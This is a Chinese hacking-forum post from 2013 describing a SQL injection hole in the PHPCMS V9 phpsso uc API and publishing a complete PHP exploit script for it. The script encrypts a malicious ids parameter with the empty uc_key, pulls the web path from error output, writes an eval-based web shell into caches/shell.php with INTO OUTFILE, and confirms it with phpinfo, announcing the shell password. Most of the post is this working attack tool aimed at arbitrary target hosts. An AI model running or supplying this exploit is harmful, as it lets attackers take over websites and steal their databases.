找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1800|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
5 q( Z5 O, ]5 c& q
: Z  s% {. {# s0 w# j/ C* j5 e+ I所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。" w) S9 `# G/ X
: F/ O! B0 i% T# p+ J  {5 J" R
漏洞分析:
9 B- B  Y+ n& x( D1 ]) b1.未启用ucenter服务的情况下uc_key为空
8 ^' _. Y$ ~. P; Cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));/ D( W$ r$ y; E, F5 f( W
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 n$ F5 r6 I  z8 p% I7 i
    public function deleteuser($get,$post) {
; X) D' h3 D+ q, `7 s' q1 W" _        pc_base::load_app_func('global', 'admin');
6 j. U4 d$ G8 p$ c7 R2 y" {  }        pc_base::load_app_class('messagequeue', 'admin' , 0);
8 f) j, b2 G$ W% \; G% R        $ids = new_stripslashes($get['ids']);2 L3 W0 h7 B' l+ o! v
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
4 r( P0 M; c( r' v$ A9 ~7 c1 I1 L$ fSQL语句为# O: s7 w% A# ?& k  ~
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)4 z( D2 C$ \4 L( P7 w( s0 ^3 x
# C8 ?$ r7 x, G% o7 k
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
9 y0 R  m# z* A/ `<?php
* ^& q5 U" Q' W& l3 c+ ~print_r('
0 I" U9 Y! J* g---------------------------------------------------------------------------1 h4 ?2 q5 v. K" A, m8 g( d. ~
PHPcms (v9 or Old Version) uc api sql injection 0day. Y, ]( D, ?% R9 _; J
by rayh4c#80sec.com
) i2 r9 t$ U  {0 w' \* o---------------------------------------------------------------------------3 ~0 p. a+ _9 @8 j' p6 C& k
');
* k4 w  g+ e1 s: Z' @
+ w3 N- z; r% b2 y  L! h4 Q( d- m' kif ($argc<3) {
. ]: H; |+ [  q' ]! P$ M    print_r('$ J+ k- V' ?, l5 {; Q
---------------------------------------------------------------------------
5 q( i* p4 f/ \0 t) m4 WUsage: php '.$argv[0].' host path OPTIONS0 Z: n% o/ e' J' O6 x: {
host:      target server (ip/hostname)
7 x, a3 ?* \' ^path:      path to phpcms1 @9 |8 K6 ^, z' Q4 }- G
Options:
3 w8 t9 ?# A9 n, i9 Y -p[port]:    specify a port other than 80) c7 R7 P9 ]) A6 w; \% }! _) V
-P[ip:port]: specify a proxy
1 }2 Q7 t3 m4 V8 y7 e+ GExample:! S2 O3 v4 v. f  M9 x: i) D
php '.$argv[0].' localhost /
) A* D/ ]7 k1 }+ g/ Jphp '.$argv[0].' localhost /phpcms/ -p81  y. R: |( B# z" V
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:801 o! p4 r- a: K
---------------------------------------------------------------------------
2 u7 v/ a: T3 ?" A- @! x');
8 ]* b9 d% T1 b5 d5 m2 w& D+ l3 S    die;
2 E2 L  f- V: v% v0 ^" S  i}
  n# y( B, g: q6 r
" t/ A/ x4 J" serror_reporting(7);
/ H, l. y( o" _7 p* ~, vini_set("max_execution_time",0);
. h3 D3 L, H# j  h" ]ini_set("default_socket_timeout",5);+ z# o# Z# s, l* ^

- Y& D' o2 j# n1 R/ K+ Q! n% afunction quick_dump($string)
6 d$ Y$ p$ r9 r8 I" U$ P+ }) _{0 F* y$ ?  @$ V: n3 V
  $result='';$exa='';$cont=0;7 x. o. _0 t' f& ~& w
  for ($i=0; $i<=strlen($string)-1; $i++). V$ A9 p# J' ^# c& e+ c
  {
% f% R4 h1 g0 y+ o   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))+ K' t, E/ E: G: |  q* L
   {$result.="  .";}
% U' Q- t2 x2 g% A   else
5 w) X8 W7 r- P   {$result.="  ".$string[$i];}
+ L+ W5 H$ O+ f: g$ w4 @   if (strlen(dechex(ord($string[$i])))==2)! D3 e! C* V9 p& B" Z) ?
   {$exa.=" ".dechex(ord($string[$i]));}
$ s  a' |& M  A1 }6 T! r6 i$ D   else, |4 w' n# K9 P6 d% K
   {$exa.=" 0".dechex(ord($string[$i]));}
+ L) N: M, `2 s  k! c- W   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}4 ^1 |+ I, X1 \
  }
' }% {# @" y5 ]3 N0 }" \5 M: { return $exa."\r\n".$result;
$ t/ F0 C* ^% p' Q; J8 H- a}8 D8 i4 R/ Z4 ^" k! g+ M" ?& h# G
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
2 b* s0 v6 S& |; M& H" ]* T5 O# N4 i( n0 W2 G. x9 u, s0 {
function send($packet)
8 H/ I, T9 [! ?# ?+ h{" E* Z8 Q1 ~! ?5 n( ^% A+ m
  global $proxy, $host, $port, $html, $proxy_regex;
& a2 @+ `1 l: V& q& c# f  if ($proxy=='') {9 \4 @9 S2 w8 Z, h6 X- A
    $ock=fsockopen(gethostbyname($host),$port);/ h1 p- R5 H7 N2 v9 ?, F  V/ D5 U* r
    if (!$ock) {
3 P1 e4 U- \! m# F  B4 m      echo 'No response from '.$host.':'.$port; die;
+ Y  ]( m5 e7 x7 x( D9 h    }
  g# u/ `% P' `, c* C: {7 v  }
  t4 m, a4 I1 m8 v7 G7 B& k$ j  else {
, i/ ]! z% m( f( C        $c = preg_match($proxy_regex,$proxy);
, u% A  N; _$ Q' O- j    if (!$c) {0 G$ F8 m4 C2 p
      echo 'Not a valid proxy...';die;
( r, {, z1 G( l& m) B" C    }/ \, }. P/ x$ C0 P$ Y% y2 J
    $parts=explode(':',$proxy);+ D: H- i. }- e) Z5 [4 x
    $parts[1]=(int)$parts[1];4 C5 H& S' A! D3 c% U; h* F! Q1 _
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";5 ?1 f3 E- {  Q0 o
    $ock=fsockopen($parts[0],$parts[1]);7 j, k) a5 u; f+ |: p
    if (!$ock) {# j" V! I$ o# d* v( W! }" t1 Q/ x9 `
      echo 'No response from proxy...';die;7 Z7 x2 x: T, i0 U- Y
        }6 C: i; {5 V3 G
  }: H$ C5 v. p" @8 P' O
  fputs($ock,$packet);
6 l" J$ {8 E0 g4 v* N  W  W3 I  if ($proxy=='') {- G' S+ F, z6 {) N) P% g9 Z+ T# _* _
    $html='';
: I  o) U5 \6 |) [# ]4 h6 x    while (!feof($ock)) {1 {! q; w, K# o" O9 _: R+ G9 _( s- f" v
      $html.=fgets($ock);; X. e% o1 j9 y
    }( ~  I, l6 m* D7 ^) q
  }- O9 ]# m* q& Q' Y2 n
  else {+ w& j* W9 F& T4 e7 s# U- x
    $html='';% Y0 g& a! s* {: f
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
! W& A' m: r% i      $html.=fread($ock,1);
, y) k- G  `" \# ^. d7 M    }
2 a8 d1 U1 s( B# T8 Z  }
9 m& b' S9 D( h  fclose($ock);
& i, G* @) M8 z" X5 l: O' V}
# I2 T" L1 x1 C: L' |+ y- R( b/ u' W# h2 X9 |! E6 d1 d. H
$host=$argv[1];
/ T% o2 F% H$ ?% e5 Y/ n- @$path=$argv[2];& N, w1 W$ K6 r  _+ m6 T4 v
$port=80;. U7 u! o  X5 s, q# b+ B
$proxy="";7 n: q! |" f5 f5 q; ?6 n. P3 G$ B
for ($i=3; $i<$argc; $i++){
: ]' v# K, D- |' Z2 H' V3 s$temp=$argv[$i][0].$argv[$i][1];
5 l7 A) Y) A1 i( Y* b7 V8 |# V  Qif ($temp=="-p")' f: a* Y2 i+ Z. @' P
{  ?# f- y0 s# |. c9 q! J6 W
  $port=(int)str_replace("-p","",$argv[$i]);
) j' r. B: E+ u# q9 ?' \}
" x9 o/ n/ z  ^( e$ F7 u1 [& }8 Rif ($temp=="-P")
6 L5 o% w& F1 _' H# H{8 L( e3 W; t: v$ T8 J; S% C# ^( Y
  $proxy=str_replace("-P","",$argv[$i]);
3 T, b& w' x! Z% H. ~0 e}! C5 W; t0 S7 c5 W/ T7 v( ^
}, ]$ Q$ X1 _9 Y& [6 G- _8 ?
2 @4 V( m1 d/ @  i; N( ^
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
6 E) g, N& J! _, G$ E! ^" J1 G: mif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 a9 R* @' n4 J8 G& P4 U3 D# H

! l, P6 _5 N! o8 ]$ Wfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ S$ a( G! g) c2 z, G) ^

! h; y9 \" k% k+ g# x' s* i4 ~' @4 h    $ckey_length = 4;
0 c. V4 U4 \* [& L3 s+ O- G8 d! s; V" X- z4 m& j# |' n
    $key = md5($key ? $key : '');4 l$ r* q" Q8 q# T1 [+ k
    $keya = md5(substr($key, 0, 16));
$ _# R( v8 o$ X  ~7 L# B  f    $keyb = md5(substr($key, 16, 16));
4 Z% F7 n; I, q! C    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';& O+ d7 b' ^) b: d  Y6 A

) p! |( m) u( d1 V4 s/ y, q' B    $cryptkey = $keya.md5($keya.$keyc);
4 |& C  c; x: b8 `% Q  a/ ?    $key_length = strlen($cryptkey);) \: h1 N8 C: U2 w: ]1 G8 e

2 L5 D+ B) s1 e' |. _8 y    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; n! i9 y  N% h: G" _# [+ ]    $string_length = strlen($string);
% |' D9 A" G3 {3 g1 @0 Y
2 Y, g; Z; N# q4 S    $result = '';3 p( u- Q/ x" E+ _) n- L9 B/ v
    $box = range(0, 255);  D0 }# y; t( s. I# H% O

2 z/ ?; |3 E* M- ?. L9 `0 Y    $rndkey = array();- ?! Y+ l4 a7 |, J
    for($i = 0; $i <= 255; $i++) {# L& i9 I; G! i8 K6 ^2 U( l. X2 _
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
: v$ ?; o" y% I# F+ a) r) S    }
2 K2 O! t* k3 n% p% Y/ q
3 d' \7 H" }) S: b    for($j = $i = 0; $i < 256; $i++) {3 y5 c5 q4 _8 |. x- V5 k& H
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
7 \0 T$ T) `  }5 E        $tmp = $box[$i];+ {+ z7 L8 _' C3 R4 I
        $box[$i] = $box[$j];
/ p0 c2 H' _1 G( z: l- e$ l" D% X        $box[$j] = $tmp;
. [6 g; D" M8 v: }( D    }
8 e3 M9 _' {: y$ d! F( ?2 H+ C! u' H0 l2 i# B8 z3 {: N2 l/ E/ S
    for($a = $j = $i = 0; $i < $string_length; $i++) {9 S' D7 C7 v0 [+ h5 H$ l) f
        $a = ($a + 1) % 256;, m8 J/ b, K1 i# Z& A' h) a
        $j = ($j + $box[$a]) % 256;
# {6 |8 y! H1 f! I5 I        $tmp = $box[$a];3 R+ f. `0 l  J( U
        $box[$a] = $box[$j];0 z9 J4 t! h! C( D1 t+ q
        $box[$j] = $tmp;
" Q9 `0 q' U4 @        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  L- O! E' z# y5 G! R0 _  E2 ^
    }
7 t9 Y, K& o7 w" Z6 o8 S/ p' ]; l0 \5 f" A4 k
    if($operation == 'DECODE') {4 c! K2 \% V. \* j
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
: Y" d- a% a4 u2 r            return substr($result, 26);2 k, E: d/ V9 O
        } else {- S* z, K9 m3 r5 R7 Q
            return '';
4 E; q  {+ }0 F$ _        }  S( J$ x9 p" W/ O$ s& k
    } else {; s! e' v/ |3 O9 o7 l( A/ \8 G
        return $keyc.str_replace('=', '', base64_encode($result));. k7 k/ x9 I1 p. L) O
    }! E) G  K% f9 o' Y4 V; D

) B+ H( j& z# g# u: W1 o}
& `( J, N. V7 e; w! j) I& y, _! j+ p
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
! a' u" u/ P2 s7 Q$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 m2 x6 g! i$ H7 m) Becho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& B9 K. _# M) ^& C$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
+ m! }: _8 {) E' X4 _0 D$packet.="User-Agent: Mozilla/5.0\r\n";  F4 U  e0 V1 n" K
$packet.="Host: ".$host."\r\n";
2 K& ?' N8 d: Z$packet.="Connection: Close\r\n\r\n";8 Y  U% d3 [* }* G7 |5 D
send($packet);
7 ^& @1 u  \+ V( F+ Y6 fif(strpos($html,"MySQL Errno") > 0){
0 k$ u* F! Z1 S/ Q9 Xecho "[2] 发现存在SQL注入漏洞"."\n";
3 Z5 S( z/ j; t7 @  f& M6 k; ^echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
2 x6 F: O1 n5 o3 k$ j4 c3 X$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";0 X$ N; r: H, i7 z9 A5 z9 n
$packet.="User-Agent: Mozilla/5.0\r\n";  ^+ f0 k' h. x& \
$packet.="Host: ".$host."\r\n";
+ o" x3 ^2 F; t4 k6 ^5 Z, @! R$packet.="Connection: Close\r\n\r\n";
- x! b6 N$ Q7 p( {/ }* `send($packet);
' v& ]& C; k" @1 Z. P6 l0 Ipreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
4 w. S6 B  V: W$ k//print_r($matches);
0 r$ x$ ^) w7 ]3 O% Q, P7 `if(!empty($matches)){9 U9 b( ^" s0 J: d
echo "[4] 得到web路径 " . $matches[0]."\n";
& {/ J& y  {/ u/ v" D- mecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";6 T) o4 f- q6 X. W7 D. m
$SQL = "time=999999999999999999999999&ids=1)";4 n# E% v( b' h
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
- G  \- U  g/ O2 w9 `9 {6 O$ J$SQL.="&action=deleteuser";9 C2 B% Z. B- z2 ]8 n5 t! |4 C
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
1 L# Z; K, L. s% jecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- f/ m' p! w/ ]  O( f3 V! ~. A$ z
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; @, g" @: |7 c! {5 ^
$packet.="User-Agent: Mozilla/5.0\r\n";
4 B2 |4 T' ?4 v2 D/ x* w$packet.="Host: ".$host."\r\n";
( X* b3 Z: A- ?  n3 b8 Z$packet.="Connection: Close\r\n\r\n";2 w! ?/ t4 }4 c9 _: x6 p
send($packet);
% S& Z% K9 M3 l2 _8 w* |4 L2 X3 \; uif(strpos($html,"Access denied") > 0){8 n) k; y% e+ `+ T
echo "[-] MYSQL权限过低 禁止写入文件 ";' X" p. d" V/ X9 a5 o/ K) T
die;
  c8 z1 u/ B% @2 {0 f: D3 s}
8 `+ r( i" ?6 Y6 ~, c1 Secho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" N: P) L! e9 z- z: Q0 E, W$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
4 H: ?: O. s7 U8 N" ?! I& ]$packet.="User-Agent: Mozilla/5.0\r\n";
4 v0 J: j: b) p$packet.="Host: ".$host."\r\n";( ?5 \, T2 d+ R; z3 ]) s1 E  u3 X
$packet.="Connection: Close\r\n\r\n";
+ y) J3 [# C  z! H* }send($packet);2 F* Z; C  y; d8 _! j. ~- Z
if(strpos($html,"<title>phpinfo()</title>") > 0){% m! ^/ ]  B8 D! J* L
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
: B" i8 I6 z* G7 \- C}$ {9 x/ L9 g; \; y& p7 O
}else{1 K4 _/ k7 i! M1 X
echo "[-]未取到web路径 ";
* R0 H: ~: r5 k/ a( a" i}6 c1 G7 p5 W5 j0 P5 k
}else{
1 v$ U* c, X$ j* n. Y1 }8 u) secho "[*]不存在SQL注入漏洞"."\n";
# B1 E; y/ ~7 ~, r' K8 z  X4 q}/ E: U3 S- z- Z. m1 s0 m( O- O. ?9 g: A

3 c+ c2 l. Y0 Z: D" H?>
7 U8 Q( r: g  i2 e) j. T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表